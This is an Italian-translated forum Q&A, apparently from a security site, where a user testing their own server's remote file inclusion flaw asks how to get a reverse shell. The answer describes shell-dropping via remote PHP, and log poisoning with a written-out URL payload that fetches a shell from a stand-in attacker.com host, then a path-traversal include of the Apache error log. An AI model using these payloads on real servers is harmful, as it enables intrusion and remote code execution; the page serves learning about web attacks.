Server web Pentesting per l'inclusione di file remoti

4

Per scopi didattici, sono in corso il pentesting di un mio server web (in esecuzione su Windows) in cui è presente una vulnerabilità di Inclusione file remota. Posso già ottenere cose semplici come l'output del comando per ipconfig e così via, visualizzato sulla pagina. Ma ora mi chiedo se posso ottenere una shell che carica del codice php su quel server e ottenerlo per eseguire e connettersi a una casella di Kali dove posso avere un listener netcat aperto? Qualche idea?

Cheers!

    
posta dude 11.01.2016 - 16:38
fonte

1 risposta

6

Generalmente ci sono due modi per caricare una shell su un server.

Usa RFI per eseguire script PHP che posiziona la shell

Metti un file di testo su un altro server web che contiene codice php per posizionare una shell sul server, quindi includi questo file. Puoi posizionare la shell sul server in vari modi.

  • Usa il modulo FTP / HTTP / ... di php per scaricare la shell da un server
  • Posiziona la shell con codifica BASE64 in una variabile e scrivi il contenuto decodificato in un file

Ti suggerisco di utilizzare la seconda opzione perché non si basa su moduli che potrebbero non essere installati o disabilitati su quel server specifico.

Usa l'RFI come LFI ed esegui direttamente il codice PHP

Nella maggior parte dei casi, le vulnerabilità RFI possono essere utilizzate anche per includere file locali. Quindi puoi usarlo come LFI che può essere utile. Nel primo passaggio si utilizza uno script per eseguire una richiesta HTTP su quel server. Tu usi cURL, ... perché non vuoi che i caratteri speci ci siano convertiti in htmlentities ... La tua richiesta potrebbe essere simile a questa:

http://victim.com/i_dont_exist.php?code=<?php file_put_contents("shell.php", file_get_contents("http://attacker.com/shell.txt")) ?>

Si vuole che questo causi un errore 404 perché questo dovrebbe essere scritto nel log degli errori. Si trova in /var/log/apache/error.log quando la vittima utilizza apache e una configurazione predefinita. Quindi si chiama RFI come LFI per includere il file di log e per eseguire il codice PHP. Ad esempio:

http://victim.com/index.php?file=../../../../var/apache/error.log

Quindi il codice PHP verrà eseguito e la shell verrà posizionata.

// Un problema che dovrai affrontare quando avvii una sessione netcat usando uno script php è il timeout dello script. Gli script PHP eseguiti tramite un server web hanno un timeout per impedire processi che durano per sempre. Penso che il valore predefinito per questo sia 60 secondi, il che significa che dopo 60 secondi il tuo backconnect verrà chiuso. Questo è il motivo per cui molti hacker non vogliono eseguire il loro malware come thread del demone apache.

    
risposta data 11.01.2016 - 18:38
fonte

Leggi altre domande sui tag